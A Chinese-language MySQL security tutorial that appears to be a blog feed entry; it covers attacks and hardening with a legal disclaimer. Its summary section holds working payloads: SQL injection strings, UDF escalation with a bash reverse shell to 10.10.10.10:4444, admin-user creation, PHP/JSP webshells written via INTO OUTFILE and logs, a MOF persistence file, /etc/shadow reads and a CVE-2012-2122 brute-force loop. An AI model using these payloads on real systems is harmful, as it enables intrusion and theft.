<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT EVENT_SCHEMA, EVENT_NAME, STATUS FROM information_schema.EVENTS;"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查存储过程："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查DEFINER视图："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE FROM information_schema.VIEWS WHERE SECURITY_TYPE='DEFINER';"</span>

<span class="c"># ========================</span>
<span class="c"># 5. 刷新权限</span>
<span class="c"># ========================</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"FLUSH PRIVILEGES;"</span>

<span class="nb">echo</span> <span class="s2">"============================================"</span>
<span class="nb">echo</span> <span class="s2">"[+] 安全加固检查完成！"</span>
<span class="nb">echo</span> <span class="s2">"============================================"</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[!] 请手动检查 my.cnf 配置文件，确保以下参数正确设置："</span>
<span class="nb">echo</span> <span class="s2">"    - secure_file_priv = NULL"</span>
<span class="nb">echo</span> <span class="s2">"    - local-infile = 0"</span>
<span class="nb">echo</span> <span class="s2">"    - bind-address = 127.0.0.1"</span>
<span class="nb">echo</span> <span class="s2">"    - require_secure_transport = ON"</span>
<span class="nb">echo</span> <span class="s2">"    - default_authentication_plugin = caching_sha2_password"</span>
<span class="nb">echo</span> <span class="s2">"    - max_connections = 100"</span>
<span class="nb">echo</span> <span class="s2">"    - max_execution_time = 30000"</span>
<span class="nb">echo</span> <span class="s2">"    - default_password_lifetime = 90"</span>
<span class="nb">echo</span> <span class="s2">"    - character-set-server = utf8mb4"</span>
</code></pre></div></div>

<h2 id="十一渗透测试速查清单">十一、渗透测试速查清单</h2>

<blockquote>
  <p>以下命令可作为获取 MySQL 访问权限后的标准操作流程，各攻击手法的详细原理参见前文对应章节。</p>
</blockquote>

<h3 id="111-信息收集">11.1 信息收集</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 基础信息（版本 / 用户 / 权限 / 路径）</span>
<span class="k">SELECT</span> <span class="k">VERSION</span><span class="p">(),</span> <span class="k">USER</span><span class="p">(),</span> <span class="k">CURRENT_USER</span><span class="p">();</span>
<span class="k">SHOW</span> <span class="n">GRANTS</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="o">@@</span><span class="n">hostname</span><span class="p">,</span> <span class="o">@@</span><span class="n">datadir</span><span class="p">,</span> <span class="o">@@</span><span class="n">plugin_dir</span><span class="p">,</span> <span class="o">@@</span><span class="n">basedir</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="o">@@</span><span class="n">secure_file_priv</span><span class="p">,</span> <span class="o">@@</span><span class="n">version_compile_os</span><span class="p">,</span> <span class="o">@@</span><span class="n">version_compile_machine</span><span class="p">;</span>

<span class="c1">-- 配置信息</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'%log%'</span><span class="p">;</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'%dir%'</span><span class="p">;</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'local_infile'</span><span class="p">;</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'%ssl%'</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="112-权限与用户评估">11.2 权限与用户评估</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span><span class="p">,</span> <span class="n">plugin</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">File_priv</span><span class="o">=</span><span class="s1">'Y'</span><span class="p">;</span>          <span class="c1">-- FILE 权限</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">Super_priv</span><span class="o">=</span><span class="s1">'Y'</span><span class="p">;</span>         <span class="c1">-- SUPER 权限</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">Grant_priv</span><span class="o">=</span><span class="s1">'Y'</span><span class="p">;</span>         <span class="c1">-- GRANT 权限</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">Shutdown_priv</span><span class="o">=</span><span class="s1">'Y'</span><span class="p">;</span>      <span class="c1">-- SHUTDOWN 权限</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">authentication_string</span><span class="o">=</span><span class="s1">''</span><span class="p">;</span> <span class="c1">-- 空密码</span>
</code></pre></div></div>

<h3 id="113-数据枚举">11.3 数据枚举</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 敏感表查找</span>
<span class="k">SELECT</span> <span class="n">table_schema</span><span class="p">,</span> <span class="k">table_name</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span> 
<span class="k">WHERE</span> <span class="k">table_name</span> <span class="k">LIKE</span> <span class="s1">'%user%'</span> <span class="k">OR</span> <span class="k">table_name</span> <span class="k">LIKE</span> <span class="s1">'%admin%'</span> 
   <span class="k">OR</span> <span class="k">table_name</span> <span class="k">LIKE</span> <span class="s1">'%password%'</span> <span class="k">OR</span> <span class="k">table_name</span> <span class="k">LIKE</span> <span class="s1">'%config%'</span>
   <span class="k">OR</span> <span class="k">table_name</span> <span class="k">LIKE</span> <span class="s1">'%credential%'</span> <span class="k">OR</span> <span class="k">table_name</span> <span class="k">LIKE</span> <span class="s1">'%secret%'</span><span class="p">;</span>

<span class="c1">-- 查找包含敏感列的表</span>
<span class="k">SELECT</span> <span class="n">table_schema</span><span class="p">,</span> <span class="k">table_name</span><span class="p">,</span> <span class="k">column_name</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span>
<span class="k">WHERE</span> <span class="k">column_name</span> <span class="k">LIKE</span> <span class="s1">'%password%'</span> <span class="k">OR</span> <span class="k">column_name</span> <span class="k">LIKE</span> <span class="s1">'%pwd%'</span>
   <span class="k">OR</span> <span class="k">column_name</span> <span class="k">LIKE</span> <span class="s1">'%pass%'</span> <span class="k">OR</span> <span class="k">column_name</span> <span class="k">LIKE</span> <span class="s1">'%secret%'</span>
   <span class="k">OR</span> <span class="k">column_name</span> <span class="k">LIKE</span> <span class="s1">'%token%'</span> <span class="k">OR</span> <span class="k">column_name</span> <span class="k">LIKE</span> <span class="s1">'%key%'</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="114-提权可能性评估">11.4 提权可能性评估</h3>

<table>
  <thead>
    <tr>
      <th style="text-align: left">检查项</th>
      <th style="text-align: left">命令</th>
      <th style="text-align: left">详见章节</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">UDF提权</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">SELECT * FROM mysql.func;</code> <code class="language-plaintext highlighter-rouge">SHOW VARIABLES LIKE 'plugin_dir';</code></td>
      <td style="text-align: left">第二章</td>
    </tr>
    <tr>
      <td style="text-align: left">文件读写</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">SELECT LOAD_FILE('/etc/passwd');</code></td>
      <td style="text-align: left">第四章</td>
    </tr>
    <tr>
      <td style="text-align: left">日志写入WebShell</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">SHOW VARIABLES LIKE 'general_log%';</code></td>
      <td style="text-align: left">第四章4.3节</td>
    </tr>
    <tr>
      <td style="text-align: left">SUID提权</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">find / -perm -4000 -type f 2&gt;/dev/null \| grep mysql</code></td>
      <td style="text-align: left">第七章7.3节</td>
    </tr>
  </tbody>
</table>

<h3 id="115-后门检测">11.5 后门检测</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 触发器、存储过程、事件、视图（参见 7.5-7.7, 7.12 节）</span>
<span class="k">SELECT</span> <span class="k">TRIGGER_SCHEMA</span><span class="p">,</span> <span class="k">TRIGGER_NAME</span><span class="p">,</span> <span class="n">ACTION_STATEMENT</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">TRIGGERS</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="k">ROUTINE_SCHEMA</span><span class="p">,</span> <span class="k">ROUTINE_NAME</span><span class="p">,</span> <span class="n">ROUTINE_DEFINITION</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">ROUTINES</span> <span class="k">WHERE</span> <span class="n">ROUTINE_TYPE</span><span class="o">=</span><span class="s1">'PROCEDURE'</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="n">EVENT_SCHEMA</span><span class="p">,</span> <span class="n">EVENT_NAME</span><span class="p">,</span> <span class="n">EVENT_DEFINITION</span><span class="p">,</span> <span class="n">STATUS</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">EVENTS</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="n">TABLE_SCHEMA</span><span class="p">,</span> <span class="k">TABLE_NAME</span><span class="p">,</span> <span class="n">VIEW_DEFINITION</span><span class="p">,</span> <span class="n">SECURITY_TYPE</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">VIEWS</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="116-渗透测试报告模板">11.6 渗透测试报告模板</h3>

<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh"># MySQL安全评估报告</span>

<span class="gu">## 1. 目标信息</span>
<span class="p">-</span> 服务器地址：xxx.xxx.xxx.xxx
<span class="p">-</span> MySQL版本：x.x.x
<span class="p">-</span> 操作系统：Linux/Windows

<span class="gu">## 2. 发现的漏洞</span>

<span class="gu">### 高危漏洞</span>
<span class="p">-</span> [ ] 存在空密码账号
<span class="p">-</span> [ ] root账号允许远程登录
<span class="p">-</span> [ ] 存在SQL注入漏洞
<span class="p">-</span> [ ] FILE权限配置不当，可读写任意文件
<span class="p">-</span> [ ] 存在已知CVE漏洞（CVE-xxxx-xxxx）
<span class="p">-</span> [ ] 可通过UDF提权

<span class="gu">### 中危漏洞</span>
<span class="p">-</span> [ ] 弱密码账号
<span class="p">-</span> [ ] 权限配置过大
<span class="p">-</span> [ ] 未启用SSL加密
<span class="p">-</span> [ ] 日志配置不当
<span class="p">-</span> [ ] 存在可疑的触发器/存储过程
<span class="p">-</span> [ ] 使用DEFINER视图暴露敏感数据

<span class="gu">### 低危漏洞</span>
<span class="p">-</span> [ ] 版本信息泄露
<span class="p">-</span> [ ] 配置信息泄露
<span class="p">-</span> [ ] 未启用连接控制插件

<span class="gu">## 3. 修复建议</span>
（根据发现的漏洞提供具体修复方案）
</code></pre></div></div>

<hr />

<h2 id="十二总结">十二、总结</h2>

<p>MySQL的攻击面非常广泛，本文涵盖了以下主要攻击向量：</p>

<p><strong>1. 注入类攻击</strong></p>
<ul>
  <li>SQL注入（联合查询、报错、布尔盲注、时间盲注、堆叠注入）</li>
  <li>预处理语句绕过WAF</li>
  <li>宽字节注入（字符集转换绕过）</li>
  <li>注释绕过</li>
</ul>

<p><strong>2. 提权类攻击</strong></p>
<ul>
  <li>UDF提权（自定义函数执行系统命令）</li>
  <li>MOF提权（⚠️ 历史遗留，仅 Windows 2000/XP/2003）</li>
  <li>SUID提权（利用特殊权限位）</li>
</ul>

<p><strong>3. 文件操作类攻击</strong></p>
<ul>
  <li>任意文件读取（LOAD_FILE）</li>
  <li>任意文件写入（INTO OUTFILE/DUMPFILE）</li>
  <li>日志投毒（general_log、slow_query_log）</li>
</ul>

<p><strong>4. 认证与授权类攻击</strong></p>
<ul>
  <li>弱口令爆破</li>
  <li>并发条件竞争绕过（CVE-2012-2122）</li>
  <li>视图DEFINER提权</li>
  <li>配置文件注入（CVE-2016-6662）</li>
</ul>

<p><strong>5. 持久化类攻击</strong></p>
<ul>
  <li>触发器后门（Trigger Backdoor）</li>
  <li>存储过程后门（Stored Procedure）</li>
  <li>事件调度器后门（Event Scheduler）</li>
</ul>

<p><strong>6. 信息泄露类攻击</strong></p>
<ul>
  <li>版本信息泄露</li>
  <li>用户信息泄露</li>
  <li>配置信息泄露</li>
  <li>进程列表泄露</li>
</ul>

<p><strong>7. 网络类攻击</strong></p>
<ul>
  <li>UNC路径触发NTLM认证（Windows）</li>
  <li>恶意MySQL服务端读取客户端文件（Fake MySQL Server）</li>
  <li>DNS外带数据</li>
  <li>MySQL Proxy中间人攻击</li>
</ul>

<p><strong>8. 拒绝服务类攻击</strong></p>
<ul>
  <li>ReDoS（正则表达式DoS）</li>
  <li>笛卡尔积资源耗尽</li>
  <li>递归查询栈溢出</li>
</ul>

<p><strong>9. 主从复制类攻击</strong></p>
<ul>
  <li>从库劫持</li>
  <li>复制链路窃听</li>
</ul>

<p><strong>10. 历史重大CVE漏洞</strong></p>
<ul>
  <li>CVE-2012-2122（认证绕过）</li>
  <li>CVE-2016-6662（配置文件注入RCE）</li>
  <li>CVE-2016-6663（条件竞争提权）</li>
  <li>CVE-2016-6664（错误日志提权到root）</li>
  <li>CVE-2023-21980（Client程序漏洞）</li>
  <li>CVE-2024-21201（Optimizer DoS）</li>
</ul>

<h3 id="防御建议总结">防御建议总结</h3>

<p><strong>网络层防护</strong>：</p>
<ul>
  <li>禁止MySQL端口暴露在公网</li>
  <li>使用防火墙限制访问来源</li>
  <li>启用SSL/TLS加密传输，设置 <code class="language-plaintext highlighter-rouge">require_secure_transport=ON</code></li>
  <li>修改默认端口3306</li>
  <li>同时限制X Protocol端口33060</li>
</ul>

<p><strong>认证层防护</strong>：</p>
<ul>
  <li>删除匿名用户和test数据库</li>
  <li>禁止root远程登录</li>
  <li>启用强密码策略（validate_password组件）</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">caching_sha2_password</code> 认证插件</li>
  <li>安装 <code class="language-plaintext highlighter-rouge">connection_control</code> 插件防暴力破解</li>
  <li>配置密码过期和历史策略</li>
</ul>

<p><strong>权限层防护</strong>：</p>
<ul>
  <li>遵循最小权限原则</li>
  <li>应用账号禁止授予FILE、SUPER等高危权限</li>
  <li>使用角色（Roles）统一管理权限</li>
  <li>定期审计用户权限</li>
  <li>及时删除不再使用的账号</li>
</ul>

<p><strong>文件系统层防护</strong>：</p>
<ul>
  <li>设置 <code class="language-plaintext highlighter-rouge">secure_file_priv = NULL</code> 禁止文件操作</li>
  <li>插件目录权限设为仅MySQL可读</li>
  <li>MySQL服务以低权限用户运行</li>
  <li>关闭生产环境的general_log</li>
</ul>

<p><strong>应用层防护</strong>：</p>
<ul>
  <li>所有SQL查询使用预编译语句/参数化查询</li>
  <li>统一使用UTF-8编码，防止宽字节注入</li>
  <li>输入进行白名单验证</li>
  <li>错误信息不要暴露给前端</li>
  <li>使用WAF作为辅助防御</li>
</ul>

<p><strong>监控与审计</strong>：</p>
<ul>
  <li>定期审计UDF、触发器、存储过程、事件、视图</li>
  <li>监控异常登录和查询行为</li>
  <li>启用审计日志记录敏感操作</li>
  <li>定期检查配置文件是否被篡改</li>
</ul>

<p><strong>版本管理</strong>：</p>
<ul>
  <li>保持MySQL在最新稳定版本</li>
  <li>及时修补已知安全漏洞</li>
  <li>关注MySQL官方安全公告（Oracle Critical Patch Updates）</li>
</ul>

<p>安全加固需要从网络层、认证层、权限层、文件系统层、应用层等多个维度进行纵深防御。<strong>没有绝对的安全，只有持续的监控和不断的改进。</strong></p>

<hr />

<h2 id="参考资源">参考资源</h2>

<ul>
  <li><a href="https://dev.mysql.com/doc/refman/8.0/en/security.html">MySQL官方安全指南</a></li>
  <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html">OWASP SQL注入防护备忘单</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122">CVE-2012-2122 MySQL认证绕过漏洞</a></li>
  <li><a href="https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html">CVE-2016-6662 MySQL配置文件注入漏洞</a></li>
  <li><a href="https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html">CVE-2016-6663/6664 MySQL权限提升漏洞</a></li>
  <li><a href="https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf">MySQL UDF提权技术详解</a></li>
  <li><a href="https://www.percona.com/doc/percona-server/LATEST/management/audit_log_plugin.html">Percona MySQL审计插件</a></li>
  <li><a href="https://www.oracle.com/security-alerts/">Oracle MySQL Critical Patch Updates</a></li>
</ul>

<hr />

<p><strong>免责声明</strong>：本文仅供安全研究和学习交流使用，请勿用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。使用本文内容造成的任何后果，作者不承担任何责任。</p>]]></content><author><name>江流</name></author><category term="MySQL安全" /><category term="数据库安全" /><category term="MySQL" /><category term="数据库安全" /><category term="安全加固" /><category term="渗透测试" /><category term="SQL注入" /><category term="UDF提权" /><category term="代码审计" /><summary type="html"><![CDATA[MySQL安全配置与防护实践 数据库是现代信息系统的核心，也是黑客攻击的首要目标。MySQL作为使用最广泛的开源数据库之一，其安全性直接关系到企业的核心资产。本文将从攻击者视角全面梳理MySQL的各个攻击面，并给出对应的防御方案。 一、SQL注入 1.1 什么是SQL注入 SQL注入是指攻击者通过在用户输入中插入恶意SQL片段，改变原有SQL语句的逻辑，从而实现非授权的数据库操作。 1.2 注入类型 联合查询注入（Union Based） 最常见的注入方式，通过 UNION SELECT 将攻击者构造的查询结果拼接到正常查询结果中。 -- 判断列数 -- ?id=1' ORDER BY 3--+ -- 联合查询，获取数据库信息 -- ?id=-1' UNION SELECT 1,database(),user()--+ -- 获取所有表名 -- ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+ -- 获取列名 -- ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+ -- 获取数据 -- ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+ 报错注入（Error Based） 利用MySQL的报错函数，将查询结果通过错误信息带出。 -- extractvalue报错注入 SELECT extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)); -- updatexml报错注入 SELECT updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1); -- floor报错注入 SELECT count(*), concat((SELECT database()), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x; 布尔盲注（Boolean Based Blind） 页面无回显，仅通过返回页面的不同状态（正常/异常）来逐位推断数据。 -- 判断数据库名长度 -- ?id=1' AND length(database())=8--+ -- 逐字符判断数据库名 -- ?id=1' AND ascii(substr(database(),1,1))=115--+ -- 判断表名 -- ?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))&gt;100--+ 时间盲注（Time Based Blind） 通过 SLEEP() 或 BENCHMARK() 引起的响应时间差异来判断条件是否成立。 -- 如果数据库名第一个字符ASCII值为115，则延迟5秒 -- ?id=1' AND IF(ascii(substr(database(),1,1))=115, SLEEP(5), 0)--+ -- benchmark方式 -- ?id=1' AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)--+ 堆叠注入（Stacked Queries） 部分场景下（如 mysqli_multi_query），可以通过分号执行多条SQL语句。 -- 直接执行任意SQL -- ?id=1';INSERT INTO users(username,password) VALUES('hacker','123456');--+ -- 甚至可以修改管理员密码 -- ?id=1';UPDATE users SET password='hacked' WHERE username='admin';--+ 1.3 SQL注入防御 // 正确：使用预编译语句（PreparedStatement） String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs = pstmt.executeQuery(); # Python中使用参数化查询 cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password)) 防御要点： 所有用户输入必须使用参数化查询/预编译语句 对输入进行白名单校验 使用WAF作为辅助防御层 数据库账号遵循最小权限原则，禁止应用账号拥有 FILE、SUPER 等高危权限 二、UDF提权 2.1 什么是UDF UDF（User Defined Function）是MySQL提供的用户自定义函数机制，允许通过加载动态链接库（.so / .dll）来扩展MySQL的功能。攻击者可以利用该机制加载恶意动态库，从而在数据库服务器上执行系统命令。 2.2 利用条件 已获取MySQL的高权限账号（如root） secure_file_priv 为空或指向可写目录 拥有对插件目录（plugin_dir）的写权限 MySQL服务以较高系统权限运行（如root/SYSTEM） 2.3 利用过程 第一步：查看关键变量 -- 查看插件目录位置 SHOW VARIABLES LIKE 'plugin_dir'; -- 通常为 /usr/lib/mysql/plugin/ 或 C:\MySQL\lib\plugin\ -- 查看secure_file_priv配置 SHOW VARIABLES LIKE 'secure_file_priv'; -- 查看系统架构 SHOW VARIABLES LIKE '%compile%'; -- 查看操作系统 SHOW VARIABLES LIKE 'version_compile_os'; 第二步：写入恶意动态库 将UDF动态库文件以十六进制形式写入插件目录。sqlmap和Metasploit中都自带了UDF库文件。 -- 方式一：通过SELECT INTO DUMPFILE写入（需要secure_file_priv允许） SELECT unhex('7F454C46...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so'; -- 方式二：通过创建表中转 CREATE TABLE temp_udf(data LONGBLOB); INSERT INTO temp_udf VALUES(unhex('7F454C46...')); SELECT data FROM temp_udf INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so'; DROP TABLE temp_udf; 第三步：创建自定义函数并执行命令 -- 创建函数（Linux） CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.so'; -- 创建函数（Windows） CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.dll'; -- 执行系统命令 SELECT sys_exec('whoami'); SELECT sys_exec('id'); -- 反弹Shell SELECT sys_exec('bash -c "bash -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1"'); -- 添加系统用户（Windows） SELECT sys_exec('net user hacker P@ssw0rd /add'); SELECT sys_exec('net localgroup administrators hacker /add'); 第四步：清除痕迹 -- 删除自定义函数 DROP FUNCTION sys_exec; -- 查看已加载的UDF SELECT * FROM mysql.func; 2.4 UDF提权防御 secure_file_priv 设置为指定目录或 NULL（完全禁止文件操作） 插件目录权限设为仅MySQL进程可读，禁止写入 MySQL服务以低权限用户运行，不要用root/SYSTEM 定期审计 mysql.func 表，检查是否有异常的自定义函数 三、MOF提权（⚠️ 历史遗留技术） 适用性说明：MOF提权是 Windows 2000/XP/2003 时代的技术。从 Windows Server 2008 / Vista 开始，Microsoft 已移除 WMI MOF 自动编译执行机制，此攻击手法在较新 Windows 系统上不再有效。保留此节仅供历史参考。 MOF（Managed Object Format）是Windows WMI使用的一种文件格式。旧版Windows会自动编译执行 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件，攻击者可借此实现代码执行。 利用条件（仅限 Windows 2000/XP/2003）： 已获取MySQL高权限账号 MySQL以SYSTEM权限运行 secure_file_priv 允许写入目标路径 3.3 利用过程 第一步：构造MOF文件 #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker P@ssw0rd123 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 第二步：通过MySQL写入MOF文件 SELECT load_file('C:/evil.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof'; 或者直接从十六进制写入： SELECT unhex('23707261676D61...') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof'; 第三步：等待系统自动执行 Windows WMI服务会自动监控mof目录，发现新文件后自动编译执行，攻击者添加的用户就会被创建。 3.4 MOF提权防御 升级操作系统，Windows Server 2008 R2及以上版本已移除该自动执行机制 MySQL服务不要以SYSTEM权限运行 限制 secure_file_priv，禁止向系统目录写入文件 监控 C:\Windows\System32\wbem\mof\ 目录的文件变动 四、任意文件读写 4.1 任意文件读取（LOAD_FILE） MySQL的 LOAD_FILE() 函数可以读取服务器上的本地文件。 利用条件： 拥有 FILE 权限 secure_file_priv 允许或为空 知道文件的绝对路径 文件大小小于 max_allowed_packet -- 读取系统敏感文件 SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE('/etc/shadow'); SELECT LOAD_FILE('/etc/my.cnf'); -- Windows SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'); SELECT LOAD_FILE('C:/phpstudy/www/config.php'); -- 读取网站配置文件获取数据库密码 SELECT LOAD_FILE('/var/www/html/config/database.php'); 4.2 任意文件写入（INTO OUTFILE / INTO DUMPFILE） 通过SQL语句将内容写入服务器文件系统，常用于写入WebShell。 利用条件： 拥有 FILE 权限 secure_file_priv 允许或为空 知道Web目录的绝对路径 目标目录有写权限 -- 写入一句话木马（PHP） SELECT '&lt;?php @eval($_POST["cmd"]); ?&gt;' INTO OUTFILE '/var/www/html/shell.php'; -- 写入JSP木马 SELECT '&lt;% Runtime.getRuntime().exec(request.getParameter("cmd")); %&gt;' INTO OUTFILE '/usr/local/tomcat/webapps/ROOT/cmd.jsp'; -- INTO DUMPFILE 不会在末尾追加换行，适合写入二进制文件 SELECT unhex('4D5A...') INTO DUMPFILE '/tmp/evil.exe'; OUTFILE与DUMPFILE的区别： INTO OUTFILE：会在行末添加换行符，列之间添加制表符，适合文本文件 INTO DUMPFILE：原样写入，不添加任何额外字符，适合二进制文件 4.3 通过日志写入WebShell 当 secure_file_priv 限制了 INTO OUTFILE 时，可以通过修改MySQL日志路径来写入WebShell。 -- 通过general_log写入WebShell SET global general_log = 'ON'; SET global general_log_file = '/var/www/html/shell.php'; SELECT '&lt;?php @eval($_POST["cmd"]); ?&gt;'; SET global general_log = 'OFF'; -- 通过slow_query_log写入WebShell SET global slow_query_log = 'ON'; SET global slow_query_log_file = '/var/www/html/slow.php'; SELECT '&lt;?php @eval($_POST["cmd"]); ?&gt;' OR SLEEP(11); SET global slow_query_log = 'OFF'; 4.4 文件读写防御 # my.cnf 中严格限制文件操作 [mysqld] secure_file_priv = /tmp/mysql-files/ # 限制到指定目录 # 或者 secure_file_priv = NULL # 完全禁止文件操作（推荐） 应用程序数据库账号不要授予 FILE 权限 Web目录禁止MySQL用户写入 定期检查 general_log_file 和 slow_query_log_file 是否被篡改 五、MySQL并发条件竞争导致空口令登录漏洞（CVE-2012-2122） 5.1 漏洞原理 这是MySQL/MariaDB的一个经典认证绕过漏洞。在特定版本和特定编译条件下，MySQL在验证密码时使用 memcmp() 函数比较密码哈希值。由于某些平台（如使用SSE优化的Linux glibc）上 memcmp() 的返回值可能超出 [-128, 127] 的范围，当该值被强制转换为 my_bool（实际是 char 类型）时，可能发生截断，导致非零返回值被截断为零，从而绕过认证。 简单来说：每次用错误密码登录，都有大约 1/256 的概率认证成功。 5.2 受影响版本 MySQL 5.1.x（5.1.63之前） MySQL 5.5.x（5.5.25之前） MySQL 5.6.x（5.6.7之前） MariaDB 5.1.x（5.1.62之前） MariaDB 5.2.x（5.2.12之前） MariaDB 5.3.x（5.3.6之前） MariaDB 5.5.x（5.5.23之前） 5.3 利用方式 # 一行命令暴力尝试，利用概率绕过（约尝试300次即可成功） for i in $(seq 1 1000); do mysql -u root --password=wrong -h target_ip 2&gt;/dev/null &amp;&amp; break; done # 使用Python脚本利用 python3 -c " import subprocess for i in range(1000): ret = subprocess.call(['mysql', '-u', 'root', '--password=wrong', '-h', 'target_ip', '-e', 'SELECT 1'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) if ret == 0: print(f'Success after {i+1} attempts') break " Metasploit利用： use auxiliary/scanner/mysql/mysql_authbypass_hashdump set RHOSTS target_ip run 5.4 修复方案 升级MySQL到5.1.63、5.5.25、5.6.7及以上版本 升级MariaDB到对应修复版本 限制MySQL服务仅监听本地或内网地址 使用防火墙限制MySQL端口的访问来源 六、配置文件注入与权限提升（CVE-2016-6662/6663/6664） 6.1 CVE-2016-6662：配置文件注入导致RCE 